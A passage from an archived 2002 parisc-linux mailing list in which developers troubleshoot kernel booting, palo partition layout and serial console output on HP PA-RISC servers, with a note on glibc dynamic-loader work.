Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 10:24:45 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020312172445.B11A64849@dsl2.external.hp.com>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain>  <3C8D3619.519A601C@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621149 4632 80.91.229.3 (22 Nov 2014 01:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:29 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 10:24:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B11A64849; Tue, 12 Mar 2002 10:24:45 -0700 (MST)
In-Reply-To: Message from Gururaj Ananthateerta <gururaj@cup.hp.com> 
   of "Mon, 11 Mar 2002 14:56:25 PST." <3C8D3619.519A601C@cup.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14313

Gururaj Ananthateerta wrote:
> I have 3 partitions on primary disk
>    Device Boot    Start       End    Blocks   Id  System
> /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> /dev/sda2            96       339    249856   82  Linux swap
> /dev/sda3           340      8683   8544256   83  Linux

partitions are fine.

> I am doing some modifications to the code and trying to boot with a new
> linux.
> I placed my vmlinux in /boot, but the palo doesn't seems to recognize my
> kernel.

What do you mean by "doesn't seems to recognize"?
any specific error msg?

does palo.conf point to that kernel?
or did you interact with palo to tell it to load that image?
"file /boot/vmlinux" says what?

you don't have to answer the above - just stuff to think about.

grant



From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dynamic loader problem
Date: Tue, 12 Mar 2002 18:08:38 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <DF1D3A62-35DE-11D6-B413-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621150 4637 80.91.229.3 (22 Nov 2014 01:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:30 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 10:30:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F695484D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 10:30:41 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id C6DE549BEB
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 18:30:39 +0100 (CET)
Resent-Date: Tue, 12 Mar 2002 18:30:39 +0100
Resent-Message-Id: <CBC154D3-35DB-11D6-B413-0030656F07A2@esiee.fr>
Resent-To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Resent-From: Thibaut VARENE <varenet@esiee.fr>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14314

Le mardi 12 mars 2002, =E0 05:46 , Randolph Chung a =E9crit :

>> Has anybody worked on the various "dl-" routines in =
glibc/sysdeps/hppa
>> recently?  That's probably where the dynamic loader problem lies.
>
> afaik ESIEE guys are looking at glibc.... thibaut? clement? any=20
> comments?
>
Well we're actually trying to rewrite the dynamic symbol resolver=20
following the ia64 model -- this should result in a significant speedup.=20=

(according to ACM)

We're currently focusing on the last point, so if we succeed, it might=20=

solve the problem (assuming it works fine on ia64).

We will keep the m-l informed of the progress of our work...


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 11:58:06 -0800
Organization: Hewlett Packard
Lines: 26
Approved: news@gmane.org
Message-ID: <3C8E5DCD.942E6278@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621150 4638 80.91.229.3 (22 Nov 2014 01:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:30 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 12:58:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E2834845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 12:58:18 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel13.hp.com (Postfix) with ESMTP id 0182C4009D3
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 11:58:16 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id LAA18709
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 11:58:11 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14315

Built a new kernel and trying to boot with the new one.
the following message appeared .

 ----------error Msg Start------------------
 Branching to kernel entry point 0x00100058.  If this is the last
 message you see, you may need to switch your console.  This is
 a common symptom -- search the FAQ and mailing list at parisc-linux.org


 ---END-------------------------------------------

I guess that I may have ommitted some console drivers during building my
kernel.
Anyine has nay clue about this.

I am using the following machines.
HP-N Class server.
Console is through a lanronix box.
Linux code I am using is linux-latest.tar.gz from ftp.parisc.org

I searched the mailing list, but didn't get anything specific.
Guru





From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 20:13:09 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621150 4639 80.91.229.3 (22 Nov 2014 01:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:30 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 13:13:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FA4B4854
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 13:13:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ksdx-0004lH-00; Tue, 12 Mar 2002 20:13:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C8E5DCD.942E6278@cup.hp.com>; from gururaj@cup.hp.com on Tue, Mar 12, 2002 at 11:58:06AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14316

On Tue, Mar 12, 2002 at 11:58:06AM -0800, Gururaj Ananthateerta wrote:
> I guess that I may have ommitted some console drivers during building my
> kernel.
> Anyine has nay clue about this.

I would assume CONFIG_SERIAL_CONSOLE is the option you're missing.
Another option might be CONFIG_SERIAL, but I suspect you turned on
support for your serial ports :-)

> I am using the following machines.
> HP-N Class server.

N class isn't supported.  There are a number of problems which need to
be solved to support N class...

> I searched the mailing list, but didn't get anything specific.

I'm surprised, I thought this was in the FAQ.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 12:13:40 -0800
Organization: Hewlett Packard
Lines: 67
Approved: news@gmane.org
Message-ID: <3C8E6174.9DEBC925@cup.hp.com>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain>  <3C8D3619.519A601C@cup.hp.com> <20020312172445.B11A64849@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621151 4643 80.91.229.3 (22 Nov 2014 01:52:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:31 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 13:15:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 399194859
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 13:15:12 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel12.hp.com (Postfix) with ESMTP id 5E296600359
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 12:15:11 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id MAA19364;
	Tue, 12 Mar 2002 12:13:46 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14317

I figured out my mistake.

First my partitions weren't correct. I created
an F0 partition, and swap and an ext2 for /.

boot partition was missing, rather it was i /. As / is not mounted
during the early stages of boot (my guess) the palo used to scream at
me.

Secondly, a strange observation.  Partitions are created in the following
order seems to have have some problem  during from /boot/vmlinux.

50 MB of  FO partition
50 MB of /boot
256 MB of swap
remaining for /

Problem is solved if partitions are created in the following order.

/dev/sda1             1        95     97264   83
Linux                           /boot
/dev/sda2            96       119     24576   f0  Linux/PA-RISC boot
/dev/sda3           120       363    249856   82  Linux swap
/dev/sda4           364      8683   8519680   83  Linux                    /

Doesn't make much sense.

One more thing to add, I am doing all this stuff on a N-Class.

Guru








Grant Grundler wrote:

> Gururaj Ananthateerta wrote:
> > I have 3 partitions on primary disk
> >    Device Boot    Start       End    Blocks   Id  System
> > /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> > /dev/sda2            96       339    249856   82  Linux swap
> > /dev/sda3           340      8683   8544256   83  Linux
>
> partitions are fine.
>
> > I am doing some modifications to the code and trying to boot with a new
> > linux.
> > I placed my vmlinux in /boot, but the palo doesn't seems to recognize my
> > kernel.
>
> What do you mean by "doesn't seems to recognize"?
> any specific error msg?
>
> does palo.conf point to that kernel?
> or did you interact with palo to tell it to load that image?
> "file /boot/vmlinux" says what?
>
> you don't have to answer the above - just stuff to think about.
>
> grant




From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 12:37:24 -0800
Organization: Hewlett Packard
Lines: 41
Approved: news@gmane.org
Message-ID: <3C8E6704.81F14945@cup.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621151 4645 80.91.229.3 (22 Nov 2014 01:52:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:31 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 13:37:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C0F4858
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 13:37:41 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel13.hp.com (Postfix) with ESMTP
	id C59AA400980; Tue, 12 Mar 2002 12:37:40 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id MAA20583;
	Tue, 12 Mar 2002 12:37:30 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14318

Matthew Wilcox wrote:

> On Tue, Mar 12, 2002 at 11:58:06AM -0800, Gururaj Ananthateerta wrote:
> > I guess that I may have ommitted some console drivers during building my
> > kernel.
> > Anyine has nay clue about this.
>
> I would assume CONFIG_SERIAL_CONSOLE is the option you're missing.
> Another option might be CONFIG_SERIAL, but I suspect you turned on
> support for your serial ports :-)
>

both of them are set to 'y'


>
> > I am using the following machines.
> > HP-N Class server.
>
> N class isn't supported.  There are a number of problems which need to
> be solved to support N class...

Yes I am aware of it.
I am trying to work on some of those problems.


>
> > I searched the mailing list, but didn't get anything specific.
>
> I'm surprised, I thought this was in the FAQ.
>

Yes, this isn't  in the FAQ  yet.


>
> --
> Revolutions do not require corporate support.




From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 20:49:19 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621151 4648 80.91.229.3 (22 Nov 2014 01:52:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:31 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 13:49:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 075D34850
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 13:49:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ktCx-0005QN-00; Tue, 12 Mar 2002 20:49:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C8E6704.81F14945@cup.hp.com>; from gururaj@cup.hp.com on Tue, Mar 12, 2002 at 12:37:24PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14319

On Tue, Mar 12, 2002 at 12:37:24PM -0800, Gururaj Ananthateerta wrote:
> both of them are set to 'y'

OK.  Since this is an N class, the serial ports should be automatically
detected on the Diva card.  Towards the top of arch/parisc/kernel/pdc_cons.c
you'll see:

/* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
 * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
#undef EARLY_BOOTUP_DEBUG

Change the #undef to #define and recompile.  Do you see any more output?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 15:26:07 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20020312222607.D777E4839@dsl2.external.hp.com>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain> <3C8D3619.519A601C@cup.hp.com> <20020312172445.B11A64849@dsl2.external.hp.com>  <3C8E6174.9DEBC925@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621152 4650 80.91.229.3 (22 Nov 2014 01:52:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:32 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 15:26:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D777E4839; Tue, 12 Mar 2002 15:26:07 -0700 (MST)
In-Reply-To: Message from Gururaj Ananthateerta <gururaj@cup.hp.com> 
   of "Tue, 12 Mar 2002 12:13:40 PST." <3C8E6174.9DEBC925@cup.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14320

Gururaj Ananthateerta wrote:
> First my partitions weren't correct. I created
> an F0 partition, and swap and an ext2 for /.

That's right - my bad.
(Not having a good day today)

> /dev/sda1             1        95     97264   83
> Linux                           /boot
> /dev/sda2            96       119     24576   f0  Linux/PA-RISC boot
> /dev/sda3           120       363    249856   82  Linux swap
> /dev/sda4           364      8683   8519680   83  Linux                    /

If your / (sda3 in the previous example) *ends* before 2GB,
you don't need a /boot partition. Several boot/install howto's
describe this problem. I didn't catch it in your original mail.

> > Gururaj Ananthateerta wrote:
> > > I have 3 partitions on primary disk
> > >    Device Boot    Start       End    Blocks   Id  System
> > > /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> > > /dev/sda2            96       339    249856   82  Linux swap
> > > /dev/sda3           340      8683   8544256   83  Linux
> >
> > partitions are fine.

NOT!

BTW, take a look at
	http://www.parisc-linux.org/hardware/supported.html

hth,
grant



From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 14:45:52 -0800
Organization: Hewlett Packard
Lines: 32
Approved: news@gmane.org
Message-ID: <3C8E8520.EC6877E3@cup.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621152 4653 80.91.229.3 (22 Nov 2014 01:52:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:32 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 15:46:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7351D4847
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 15:46:09 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
